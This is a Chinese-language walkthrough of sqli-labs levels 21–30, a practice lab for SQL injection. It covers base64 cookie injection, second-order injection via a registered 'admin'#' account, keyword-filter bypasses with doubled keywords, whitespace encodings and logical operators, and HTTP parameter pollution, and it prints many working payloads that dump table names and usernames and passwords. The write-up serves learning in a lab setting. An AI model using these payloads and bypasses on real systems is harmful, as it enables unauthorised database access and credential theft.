二十一关

打开这一关,开屏暴击。报错的大致意思是时区没有设置好,我们进入报错的文件,在php代码中加入中国时区的代码即可:

date_default_timezone_set("PRC");

其实不改这个也不影响我们做题目,只是有错不改看着难受而已,页面正常后,开始正题:

第一步:在账号密码框一顿输出后,发现注入点不在外面,只能登录进入里面看看,看到了页面显示了我们的UA、cookie等信息。有点类似第二十关,属于cookie注入!唯一不同的是这一关考察了一个加解密运用,cookie中使用了base64加密,所以我们上加解密工具!

在burp suite中配合加解密工具拿下这关,如下图:

admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

二十二关

这一关和上一关类似,不同之处在于这一关使用双引号闭合!

admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

轻松拿下这一关。

sqliabs总共65关,恭喜你,已经过了三分之一了。继续搞,别半途而废!!!

二十三关

这里简单的单引号判断参数的接受类型,页面报错!这也太简单了吧!

接下来我们使用注释 --+ 或  #让页面恢复正常看看。失败了,看来没那么容易,毕竟BOSS都是到后面才出来的。

分析下:发现 --+ 和  # 都不起作用,这里我们猜测 --+ 和 # 注释符都被过滤了,看看源码:

老方法不行,那就学个新操作,我们使用 or 1=1、and 1=1来代替 --+ 和 # 绕过。报错语句如下:

?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

页面成功爆出数据库名。后面的操作就不重复了

温馨提示:这一关的操作也可以用到之前所有的关卡,只是 --+ 和 # 能用的时候更加省事!!!

二十四关

相比之前的关卡,这一关的页面添加了更改密码和注册用户功能,不难猜测,这一关要在修改密码和注册用户上面做文章!!!这关也是一个新的知识点:二次注入(标注下:重要~重要~重要~)

第一步:我们先来注册一个恶意的账户名,例如admin'# 、admin'--+、admin' or '1'='1注入的恶意账号并不是只有以上几种,具体要根据实战随机应变,不过我们要满足两个主要的点:(1)我们注册的恶意用户要存在(2)参数的接受类型闭合要准确

此时我们二次注入的第一次注入已经完成,我喜欢把第一次注入叫:注册(register)注入

第二步:登录我们注册的 admin'#  用户,我们进行一个修改密码的操作。

这里第二次注入也完成了,把admin的密码成功修改了,第二次注入可以叫做:修改注入。

所以二次注入意思就是分两次进行注入,达到我们的目的。

到了这里,小白肯定一脸懵逼!感觉像魔法一样,里面究竟发生了什么。我们来认真分析下这一关的源码:

对1分析:可以看到注册用户的sql语句,只是简单的把我们注入的用户密码插入数据库中,未做任何过滤(指的是过滤:' 、"、#、--+ 等危险符号)。

对2分析:可以看到修改用户密码的时候,只是简单的去数据库查找有没有对应的用户,如果有就修改密码成功!

分析完后,咋看之下sql语句没啥问题,但是问题在于我们注册的 admin'# 用户,在注册语句中没把我们的 ' 和 # 给阻止掉。当我们修改密码的时候,后面的sql语句变化如下:

原先:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";我们执行修改 admin'# 用户的密码为 111111 时,语句变成:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin'#' and password='123456' ";可以看到,前面的语句给我们的 ' 闭合了,后面语句给我们的 # 给注释掉了,语句执行的时候变成了:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin'修改admin'#的密码,变成了修改admin的密码,所以才会发生上面admin密码被修改的那一幕!!!

这就是二次注入的原理,也是我们在二十四关学到的新技能!!!

二十五关

根据页面提示,这一关可能把 or 和 and 过滤了。我们分析这一关源码,果不其然,我们用户输入的 or 和 and 被替换成了空格,但是只过滤了一次,也是一个隐患。

第一步:我们快速判断下,参数使用了单引号闭合。开始注入语句:

分析下:
这是我们注入的语句:?id=1' order by 3--+
到了后台语句变成了:?id=1' der by 3--+既然后台过滤了我们的 or 和 and,并且之过滤一次。那我们使用叠加 or 和 and 进行绕过即可。语句如下:
?id=1' oorrder by 3--+    页面被成功执行。

后面的步骤和之前一样,我们只要注意:我们注入的语句中有 or 或 and ,都需要叠加一下语句才能正常执行。例如,我们使用报错语句来完成这一关,语句如下:

爆数据库:?id=1' union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1),3--+

爆表:?id=1' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e),1),3--+

注意:这里的 information 要构造成 infoorrmation 才能正常执行,不然执行后会变成infmation,必然报错!

还有一种方法: 使用 && 代替 and,|| 代替or绕过。

二十五a关

这一关和二十五关类似,过滤了or和and,我们依然双写绕过即可。不过这一关是数字型注入 。直接上语句:(记住infoorrmation双写or)

?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()

二十六关

这一关如果不看源码的话,是非常的难注入的,我们只能使用白盒审计进行注入:

很明显,代码过滤了or、and、\*、--、#、\s、\ 和 / 还有空格。好家伙,这是不留一点机会啊!但是既然是靶场那肯定有迹可循!我们来学一点新的东西:

绕过:【利用()来代替空格】

PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】:

%09  TAB 键(水平)

%0a  新建一行

%0c  新的一页

%0d  return 功能

%0b  TAB 键(垂直)

%a0  空格

注意:因为要绕空格,所以之前的 limit 就不能用了,而且报错注入只能爆出32位。如果对方数据多的话,我们可以使用一个盲注中用过的函数 substr() 。

过关思路:

(1)我们把 and 换成 &&,而 && 要urlencode成 %26%26 才能成功注入,如下语句:

?id=1'%26%26updatexml(1,concat(0x7e,(database())),1)%26%26'1' ='1

(2)我们还可以把空格换成 || ,这里直接使用就能注入成功,如下语句:

?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1

直接爆表名,语句如下:

?id=1' || updatexml(1,concat(0x7e,(select (group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1) || '1' ='1

这里要注意一点,这里我们把空格换成 || ,在URL中是可以行得通的,但是在数据库中是行不通的,有的人可能会这样写:

?id=1' || updatexml(1,concat(0x7e,(select||group_concat(table_name)||from||infoorrmation_schema.tables||where||table_schema="security"),0x7e),1) || '1' ='1                这是一个错误的写法!不信我们可以进数据库测试下!如下图:

拓展小知识:常见的逻辑运算符有:|| 代表 or ,&& 代表 and , !代表否定。

他们的URL编码为:||  等于  %7C%7C ,&& 等于 %26%26  ,!等于 %A3%A1 。

二十六a关

这一关和上一关是类似的,我们直接来分析一下26a关源码。

这里过滤了or、and、/、\、#、--+、空格。

第一步:从源码中我们也可以分析到参数的接受方式,尝试构造恶意语句让页面正常。?id=1')%26%26'1'=('1       页面正常
?id=1')%26%26'1'=('2       页面报错,说明我们的 %26%26 成功绕过了代码的过滤。但是还有一点,页面                没有爆出错误字段,说明我们接下来使用报错注入是没有作用的。第二步:使用布尔注入(布尔盲注、延时注入yyds,老折磨王了)

判断数据库名:?id=1')aandnd(substr((database()),1,1)='s')aandnd('1'='1

页面正常、说明数据库名第一位为 s ,后面的小伙伴们就自己判断了,根据之前关卡的经验,使用burp进行爆破。

判断表名:?id=1')aandnd(substr((select(group_concat(table_name))from(infoorrmation_schema.table

s)where(table_schema=database())),1,8)='emails,r')aandnd('1'='1

爆字段:?id=1')aandnd(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,8)='emails,r')aandnd('1'='1

总结下这一关:这一关我们可以使用联合注入,具体操作小伙伴就查看下其他文章,因为这一关使用联合注入,是有一点条件限制的(如PHP版本)。

布尔注入在这一关是没有其他附加条件的。

二十七关

通过前期的快速判断,知道这一关的参数接受方式是单引号 id= ('&id'),页面无回显。

但是使用之前的联合注入、报错注入,发现这一关都无动于衷。无奈只能来进行白盒审计,直接上代码。

可以分析到union,select,空格,注释符被过滤成空格了。我们使用:

%09  TAB 键(水平)

%0a  新建一行

%0c  新的一页

%0d  return 功能

%0b  TAB 键(垂直)

%a0  空格

爆出注入点:?id=0'%0aUNIon%0aSELEct%0a1,2,3%0aand%0a'1'='1

爆表名:?id=0'%0aUNIon%0aSELEct%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema="security"%0aand%0a'1'='1

后面的就不重复演示了。

二十七a关

这一关和二十七的差别在于,这一关参数接受类型是双引号。直接爆表名。

?id=0"%0aUNIon%0aSELEct%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema="security"%0aand%0a"1"="1 

二十八关

分析这一关的源码

爆出字段:?id=0')union(select%0d1,2,'3

爆出所有数据库名:?id=1.1')union(select%0d1,(select(group_concat(schema_name))from(information_schema.schemata) ),'3

爆出数据:
?id=0')union(select%0d1,(select(group_concat(username,password))from(users)),'3

二十八a关

这一关和二十八关一样,我们直接爆出数据

直接爆出数据:
?id=0')union(select%0D1,(select(group_concat(username,password))from(users)),'3

二十九关

直接上报错注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)  and '1'='1

如果实战中我们直接就获取出数据,然后西瓜到手了。但是靶场的目的不只是为了通关!!!我们来分析这一关的源码:

这一关考的内容是浏览器的参数污染!!!(不懂的小白可以自己百度学习”参数污染“)

我们对参数简单的判断一些,直接跳转hackerd页面。(实战中也会常常遇到页面跳转‘入侵警告’),这和我们源码中分析的一样!

使用参数污染进行注入:?id=1&id=-2' union select 1,2,3 --+

后面就是爆数据库、表、列、数据的操作!

三十关

(考点:参数污染、双引号、联合注入or其他)

这一关重复了上关的操作,作者可能为了让大家多重复几关熟悉参数污染注入吧!!!

这一关和二十九关区别就在于这一关参数接受是  双引号  ,我们直接爆出数据:

?id=1&id=0" union select 1,group_concat(username,password),3 from users--+

总结&复习  #温故而知新--+

一关到十关:

【1】我们学了SQL注入中的GET注入;

【2】考察了各种各样的参数接受方式;

【3】mysql中的多个函数使用if、sleep、outfile等等;

【4】还有文件读写注入、报错注入、布尔注入、延时注入。

十一关到二十关:

【1】我们学了SQL注入中的POST注入;

【2】考察了HTTP头部注入中的User-Agent注入、Referer注入、Cookie注入;

二十一关到三十关:

【1】我们学了加解密注入、二次注入;

【2】考察了各种关键的过滤如何绕过;

【3】各种编码%09  TAB 键(水平)、%0a  新建一行、%0c  新的一页、%0d  return 功能、%0b  TAB 键(垂直)、%a0  空格绕过;

【4】参数污染绕过;

在sqli-liabs学习SQL注入之旅(第二十一关~第三十关)相关推荐

  1. 在sqli-liabs学习SQL注入之旅(第十一关~第二十关)

    十一关 可以看到十一关和之前的十关是截然不同,偶尔也得换换口味才有新鲜感嘛!话不多说,开搞! 前言:这里有两个提交框,我们应该从哪里注入呢?这并不是困扰我们的问题.我们在实战中应该多方面测试,两个框都 ...

  2. 在sqli-liabs学习SQL注入之旅(第一关~第十关)

    第一关 1.联合注入 第一步:判断参数的类型?id=1' 页面报错 ?id=1' --+ 页面正常 判断参数接受类型为 字符型查看第一关源码:$sql="SELECT * FROM user ...

  3. 学习sql注入:猜测数据库_对于SQL的热爱:为什么要学习它以及它将如何帮助您...

    学习sql注入:猜测数据库 I recently read a great article by the esteemed @craigkerstiens describing why he feel ...

  4. 学习sql注入:猜测数据库_面向数据科学家SQL:学习简单方法

    学习sql注入:猜测数据库 We don't pick a hammer and look for nails - that would be an unusual way of solving pr ...

  5. 学习sql注入:猜测数据库_学习SQL:删除和更新数据SQL最佳实践

    学习sql注入:猜测数据库 Deleting and updating data is very common, but if performed without taking care, which ...

  6. 学习sql注入:猜测数据库_学习SQL:SQL数据类型

    学习sql注入:猜测数据库 What are SQL data types, why do we need them, and how to use them? Today, we'll try to ...

  7. 渗透学习-SQL注入篇-基础知识的学习(持续更新中)

    提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...

  8. web安全学习-sql注入-针对mysql的攻击

    文章目录 1. 前言 补充:读取客户端本地文件到服务端mysql数据库 补充:利用全局日志写shell 补充:修改mysql的root密码 补充:配置远程登录 补充:低权限下读文件 补充:高版本mys ...

  9. 关于DVWA的学习-SQL注入

    关于DVWA的学习-SQL注入 low Background 一般的查询语句的结构如下: SELECT column_name FROM table_name WHERE ID=$id 我们输入的内容 ...

最新文章

  1. 【C++】algorithm具体操作记录
  2. 刚发现的 Wi-Fi 安全漏洞,可能危及全球所有设备!
  3. 东汉末年,他们把「服务雪崩」玩到了极致(干货)
  4. 干货︱机器学习中防止过拟合的处理方法
  5. 对象属性操作函数:hasattr(),getattr(),setattr()
  6. bzoj1096 [ZJOI2007]仓库建设
  7. 80行JavaScript代码实现的贪食蛇游戏,简约之美
  8. python3.6安装【scrapy】-最保守方法
  9. java程序优化快捷键_Java 代码中针对性能优化的总结方案
  10. 反思,今天总体感觉事情很简单,但项目比较多,没有掌握住很好的技巧,所以感觉很混乱
  11. WCF 第十三章 可编程站点 使用AJAX和JSON进行网页编程
  12. js系列教程8-事件全解
  13. Ubuntu22.04 Python 深度学习环境配置记录
  14. 分享一个电脑截动图的软件LICEcap
  15. NIO蔚来EC6ES6ES8智能电动汽车维修手册电路图用户手册技术信息资料
  16. icloud与mysql_ICloud 应用实例(一)
  17. 微信开放平台开发者认证
  18. WPF 控件 (二、按钮)
  19. 综述|基于深度学习的目标检测(一)
  20. dos环境c语言写串口程序,DOS下串口通信程序来传送文件的源代码(转)

热门文章

  1. 奖金575万!81岁拓扑数学家摘得数学界诺奖「阿贝尔奖」
  2. Azure Active Directory Powershell命令创建一个application以及App需要的权限
  3. 关于AP, MAP的一些理解
  4. 微信OAuth授权获取用户OpenId
  5. 数据明明不多,为什么表占用很大
  6. 360安全杀毒软件扫描计算机病毒吗,360杀毒软件全盘扫描杀毒教程
  7. poj3616 Miking Time dp
  8. 移动互联网:微信搜索功能大改版
  9. 爱码哥移动开发平台的4大开发环境
  10. 计算机四级嵌入式考试—操作系统卷(1)总结